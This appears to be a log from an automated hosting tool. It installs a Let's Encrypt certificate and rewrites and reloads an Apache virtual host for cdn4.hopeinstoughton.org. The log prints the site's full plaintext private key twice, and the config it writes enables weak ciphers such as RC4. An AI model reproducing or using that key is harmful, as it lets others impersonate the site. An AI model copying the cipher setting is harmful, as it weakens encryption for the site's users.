5tKeshx1iIAKpkxxbsRU1Ea5P05pMmjBWyDpxWrNYzo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5tKeshx1iIAKpkxxbsRU1Ea5P05pMmjBWyDpxWrNYzo
2025-12-20 10:29:13:
chmod 755 /tmp/pkp195946; /tmp/pkp195946; rm /tmp/pkp195946
2025-12-20 10:29:13:
2025-12-20 10:29:17: Establishing a connection
2025-12-20 10:29:18:
PUT: /tmp/pkp270050
#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
rm 5tKeshx1iIAKpkxxbsRU1Ea5P05pMmjBWyDpxWrNYzo
2025-12-20 10:29:19:
chmod 755 /tmp/pkp270050; /tmp/pkp270050; rm /tmp/pkp270050
2025-12-20 10:29:19:
2025-12-20 10:29:19: Establishing a connection
2025-12-20 10:29:20:
PUT: /tmp/pkp221814
#!/bin/bash
temp_file=$(mktemp)
TARGET=33c1aca709cdbd6de954e7f75b205eb8.crt
cat > $temp_file <<'endmsg'
dd:fd:e5:15:02:36:70:98:4f:59:9d:fa:fe:02:00:5a
-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBmoTELi4Uuvx4tgklT/hbiqDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIwMDkzMDQ2WhcNMjYwMzIwMDkzMDQ1WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCoomTk1riiyS7VdDVDUpT36g0Kt5dxRutggUvs3M/tiyVhl88o
2/rdr1UBTjWmkeV474W0xVGCevGoexsITbnxYRzfY4EV4Z2YInhWrT0s/0pkyczy
/7towuNTckcvM4V0hLKoeH8/c/NnJlqRkK99VOYbl+JfWo18YCOAp328DD/OAVaB
peHGFWmuP6RO8pkPYs6lCs1mqUEeS+zDgd6HuyrPbCQa1b/F+RKTtI9ikBNhcVdq
kx9GzfXsk9r9cIAEvfZQymZwVD3FO4j/IvSjN4ntVC/oydclOl+Vus0fflA/0T6c
Hf6BQny4sKTSCd5uSBlP0nAy4z4waM3IyCwdAgMBAAGjggIwMIICLDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFHp/wMOqavXxz/lWmOz1BOkACTQ8MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuNC5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQw
IqAgoB6GHGh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNC5jcmwwggENBgorBgEEAdZ5
AgQCBIH+BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAA
AZs7TnZ0AAAEAwBIMEYCIQC4SCwbPkCNSJZ+5cBxav5LlP2j3cK+25aZ6ItFyOUn
QwIhANI95kCB4zUkKmaTHGTJRFpoIC0Uwyrcs9WPCr/sN7NBAH4AGoudaUpXmMiZ
oMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGbO054KwAIAAAFACfTg38EAwBHMEUC
IDiwkNjMLBoxYvWo/ldBxGzrfI7TB1DZEH+OhYMU8l+zAiEA245s+9x9K0N1i/vZ
O9hgp92qxgliNwlVKS0q87lb7bQwDQYJKoZIhvcNAQELBQADggEBAM0xvIPqCAWi
AyrakqJLcFJJGB5x+3+PH9GnWYacT45TCTPnA/m8MnWgt0tn3Tl8QWUN/yGJ4PK0
S/UN0e3cH+QbUf8He0sru+LJDtL4PlS5UvcVMAARqxxb9p9GJyvq8UVE3b5Dlh4h
jPaivdFYLcemQDMs6Q5gsZ1+hoWsNbK0celEyasrvh+jkt4eg61l2xECkcny7inh
maHBORl8QrN8bMp4macqRKlCf010+e+KCxWU2fuDmSW2f5f7Y6XT0roi2e9qNO+E
eR6q5FfAdpBEni9WMXJ16tocT9Pkw42PhS6pRiCN+z6OE36DzOTyKvWUBrJnKw0D
LvYSth30uBs=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCoomTk1riiyS7V
dDVDUpT36g0Kt5dxRutggUvs3M/tiyVhl88o2/rdr1UBTjWmkeV474W0xVGCevGo
exsITbnxYRzfY4EV4Z2YInhWrT0s/0pkyczy/7towuNTckcvM4V0hLKoeH8/c/Nn
JlqRkK99VOYbl+JfWo18YCOAp328DD/OAVaBpeHGFWmuP6RO8pkPYs6lCs1mqUEe
S+zDgd6HuyrPbCQa1b/F+RKTtI9ikBNhcVdqkx9GzfXsk9r9cIAEvfZQymZwVD3F
O4j/IvSjN4ntVC/oydclOl+Vus0fflA/0T6cHf6BQny4sKTSCd5uSBlP0nAy4z4w
aM3IyCwdAgMBAAECggEBAJnGTF7o9sFq18xKBe/4NGPGCFKHjA/97dG41fWOfgVN
Z68Q8hV+U8sngUqJeR8F181qDfEEJgnn9sn+SG5QAol8VwnWAPZlIIKEnFvd6fVI
bxxtcPj9/nXPkeCcSxFd2AqinxBFoTPJlmGvddNbrsuJSbRL0l/FgVOzj2xYT63T
ukxvKStiZMxfGAWX0XGjFXyWphF4fUYX4ADAEjtIYtmWwqS1Vuwz2dpnrmIwoQqs
Fnk5jQLSjxp2ClajeVFP1FCpcTEkLboCyckSAJa9o0oatvR6+Fs6L8K0NJmWI2sc
+fbOC83gTx/SvJQlbde1YKs8lvQzWqr5mLkszX+p9/kCgYEA2k6FihG618apGwTu
RZLQJ4FhmiVtAQvSbHqX6JUVwYJAqdqvs54+ah/HZWdtvTxGJ+ZQ+rDen8xwxaey
ufDpVio1UNhucjobLZ9ENPoIjfkVY405/J7jnFndaJiI+AufrOyP0YJIa8EFuI2Y
WLqMmJHdKXchmRxkv2KQQpBtqacCgYEAxcBH0FU9yjyK82zTIE6kWFEZXLIirsco
z5UCikedvBUSnY5Uvf9GEJQRTkX5aO/1Y8lCnzTI9QAEkJanvtI/iKPtPpL9Nnzd
5i141U5errMe2NGlM5RAtHJMJm+MTISNzP0wMddTYUhdM07wxrguaLxlccZl8xWe
ftxaNRCwbJsCgYA+QrS9Ou9ByOvDw/U8rHFnQvQWJWRgLwH1ZEVc1OAej0pn5vHD
VXdRhvy0Q/o9RSpxCLPBu53Sj1j+ViSX+UhjBaitBP0C4OWNbmXiggjcjNR3zvhh
vuMFXW/S++XccFw60kD2LKUA7kz2ZJO1gobEoJ0lzU8svrdRCghAo7ZS8wKBgCAG
0hqlk4pLX92oxFC5K9i52bevifpweuWTpoOqsZsido9Z29OhokFRGbRplMkwA7gT
glyyedFkHVklbSl0d6GzmtrFh4jplC6RMr6pIKB+lgJbgbvmyMvwrvCSpFBIL4cB
gmqwCur4g0+p+0jTz4Ba8rsIfL5vw+mb2mg5ubj9AoGAAMHygdC3+Uli5wzQf6YO
KFi1XbO1SltqAD7R961gUvbxtIAbzcPrEsqsUvLWnNCUHZ/rzBwDCPfO+2//gQnt
r8z5soNSj4b+nCYWqP3xMyaZcH/+EfdW48iyZdMZdzAGUwKFAtMzhNPSQ5U4ihMd
XbDJORI9d+fSIpw4ipC5+PQ=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-20 10:29:21:
chmod 755 /tmp/pkp221814; /tmp/pkp221814; rm /tmp/pkp221814
2025-12-20 10:29:21:
dir=/etc/ssl/certs
2025-12-20 10:29:21:
PUT: /tmp/pkp416797
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-20 10:29:22:
chmod 755 /tmp/pkp416797; /tmp/pkp416797; rm /tmp/pkp416797
2025-12-20 10:29:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 48
<VirtualHost *:80>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
Require all granted
AllowOverride All
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-20 10:29:22:
PUT: /tmp/pkp111359
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn4_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
Require all granted
AllowOverride All
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf= 1'
fi
2025-12-20 10:29:22:
chmod 755 /tmp/pkp111359; /tmp/pkp111359; rm /tmp/pkp111359
2025-12-20 10:29:23:
2025-12-20 10:29:23:
PUT: /tmp/pkp270923
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-20 10:29:23:
chmod 755 /tmp/pkp270923; /tmp/pkp270923; rm /tmp/pkp270923
2025-12-20 10:29:23:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-20 10:29:23: Establishing a connection
2025-12-20 10:29:24:
PUT: /tmp/pkp578868
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-20 10:29:25:
chmod 755 /tmp/pkp578868; /tmp/pkp578868; rm /tmp/pkp578868
2025-12-20 10:29:25:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-20 10:29:25:
PUT: /tmp/pkp839923
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-20 10:29:26:
chmod 755 /tmp/pkp839923; /tmp/pkp839923; rm /tmp/pkp839923
2025-12-20 10:29:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 1172
<VirtualHost *:80>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
Require all granted
AllowOverride All
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cdn4.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
DocumentRoot /mnt/internal/CDN
<Directory /mnt/internal/CDN>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn4_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-20 10:29:26:
PUT: /tmp/pkp604008
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-20 10:29:27:
chmod 755 /tmp/pkp604008; /tmp/pkp604008; rm /tmp/pkp604008
2025-12-20 10:29:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt 5382
dd:fd:e5:15:02:36:70:98:4f:59:9d:fa:fe:02:00:5a
-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBmoTELi4Uuvx4tgklT/hbiqDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIwMDkzMDQ2WhcNMjYwMzIwMDkzMDQ1WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCoomTk1riiyS7VdDVDUpT36g0Kt5dxRutggUvs3M/tiyVhl88o
2/rdr1UBTjWmkeV474W0xVGCevGoexsITbnxYRzfY4EV4Z2YInhWrT0s/0pkyczy
/7towuNTckcvM4V0hLKoeH8/c/NnJlqRkK99VOYbl+JfWo18YCOAp328DD/OAVaB
peHGFWmuP6RO8pkPYs6lCs1mqUEeS+zDgd6HuyrPbCQa1b/F+RKTtI9ikBNhcVdq
kx9GzfXsk9r9cIAEvfZQymZwVD3FO4j/IvSjN4ntVC/oydclOl+Vus0fflA/0T6c
Hf6BQny4sKTSCd5uSBlP0nAy4z4waM3IyCwdAgMBAAGjggIwMIICLDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFHp/wMOqavXxz/lWmOz1BOkACTQ8MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuNC5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQw
IqAgoB6GHGh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNC5jcmwwggENBgorBgEEAdZ5
AgQCBIH+BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAA
AZs7TnZ0AAAEAwBIMEYCIQC4SCwbPkCNSJZ+5cBxav5LlP2j3cK+25aZ6ItFyOUn
QwIhANI95kCB4zUkKmaTHGTJRFpoIC0Uwyrcs9WPCr/sN7NBAH4AGoudaUpXmMiZ
oMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGbO054KwAIAAAFACfTg38EAwBHMEUC
IDiwkNjMLBoxYvWo/ldBxGzrfI7TB1DZEH+OhYMU8l+zAiEA245s+9x9K0N1i/vZ
O9hgp92qxgliNwlVKS0q87lb7bQwDQYJKoZIhvcNAQELBQADggEBAM0xvIPqCAWi
AyrakqJLcFJJGB5x+3+PH9GnWYacT45TCTPnA/m8MnWgt0tn3Tl8QWUN/yGJ4PK0
S/UN0e3cH+QbUf8He0sru+LJDtL4PlS5UvcVMAARqxxb9p9GJyvq8UVE3b5Dlh4h
jPaivdFYLcemQDMs6Q5gsZ1+hoWsNbK0celEyasrvh+jkt4eg61l2xECkcny7inh
maHBORl8QrN8bMp4macqRKlCf010+e+KCxWU2fuDmSW2f5f7Y6XT0roi2e9qNO+E
eR6q5FfAdpBEni9WMXJ16tocT9Pkw42PhS6pRiCN+z6OE36DzOTyKvWUBrJnKw0D
LvYSth30uBs=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCoomTk1riiyS7V
dDVDUpT36g0Kt5dxRutggUvs3M/tiyVhl88o2/rdr1UBTjWmkeV474W0xVGCevGo
exsITbnxYRzfY4EV4Z2YInhWrT0s/0pkyczy/7towuNTckcvM4V0hLKoeH8/c/Nn
JlqRkK99VOYbl+JfWo18YCOAp328DD/OAVaBpeHGFWmuP6RO8pkPYs6lCs1mqUEe
S+zDgd6HuyrPbCQa1b/F+RKTtI9ikBNhcVdqkx9GzfXsk9r9cIAEvfZQymZwVD3F
O4j/IvSjN4ntVC/oydclOl+Vus0fflA/0T6cHf6BQny4sKTSCd5uSBlP0nAy4z4w
aM3IyCwdAgMBAAECggEBAJnGTF7o9sFq18xKBe/4NGPGCFKHjA/97dG41fWOfgVN
Z68Q8hV+U8sngUqJeR8F181qDfEEJgnn9sn+SG5QAol8VwnWAPZlIIKEnFvd6fVI
bxxtcPj9/nXPkeCcSxFd2AqinxBFoTPJlmGvddNbrsuJSbRL0l/FgVOzj2xYT63T
ukxvKStiZMxfGAWX0XGjFXyWphF4fUYX4ADAEjtIYtmWwqS1Vuwz2dpnrmIwoQqs
Fnk5jQLSjxp2ClajeVFP1FCpcTEkLboCyckSAJa9o0oatvR6+Fs6L8K0NJmWI2sc
+fbOC83gTx/SvJQlbde1YKs8lvQzWqr5mLkszX+p9/kCgYEA2k6FihG618apGwTu
RZLQJ4FhmiVtAQvSbHqX6JUVwYJAqdqvs54+ah/HZWdtvTxGJ+ZQ+rDen8xwxaey
ufDpVio1UNhucjobLZ9ENPoIjfkVY405/J7jnFndaJiI+AufrOyP0YJIa8EFuI2Y
WLqMmJHdKXchmRxkv2KQQpBtqacCgYEAxcBH0FU9yjyK82zTIE6kWFEZXLIirsco
z5UCikedvBUSnY5Uvf9GEJQRTkX5aO/1Y8lCnzTI9QAEkJanvtI/iKPtPpL9Nnzd
5i141U5errMe2NGlM5RAtHJMJm+MTISNzP0wMddTYUhdM07wxrguaLxlccZl8xWe
ftxaNRCwbJsCgYA+QrS9Ou9ByOvDw/U8rHFnQvQWJWRgLwH1ZEVc1OAej0pn5vHD
VXdRhvy0Q/o9RSpxCLPBu53Sj1j+ViSX+UhjBaitBP0C4OWNbmXiggjcjNR3zvhh
vuMFXW/S++XccFw60kD2LKUA7kz2ZJO1gobEoJ0lzU8svrdRCghAo7ZS8wKBgCAG
0hqlk4pLX92oxFC5K9i52bevifpweuWTpoOqsZsido9Z29OhokFRGbRplMkwA7gT
glyyedFkHVklbSl0d6GzmtrFh4jplC6RMr6pIKB+lgJbgbvmyMvwrvCSpFBIL4cB
gmqwCur4g0+p+0jTz4Ba8rsIfL5vw+mb2mg5ubj9AoGAAMHygdC3+Uli5wzQf6YO
KFi1XbO1SltqAD7R961gUvbxtIAbzcPrEsqsUvLWnNCUHZ/rzBwDCPfO+2//gQnt
r8z5soNSj4b+nCYWqP3xMyaZcH/+EfdW48iyZdMZdzAGUwKFAtMzhNPSQ5U4ihMd
XbDJORI9d+fSIpw4ipC5+PQ=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
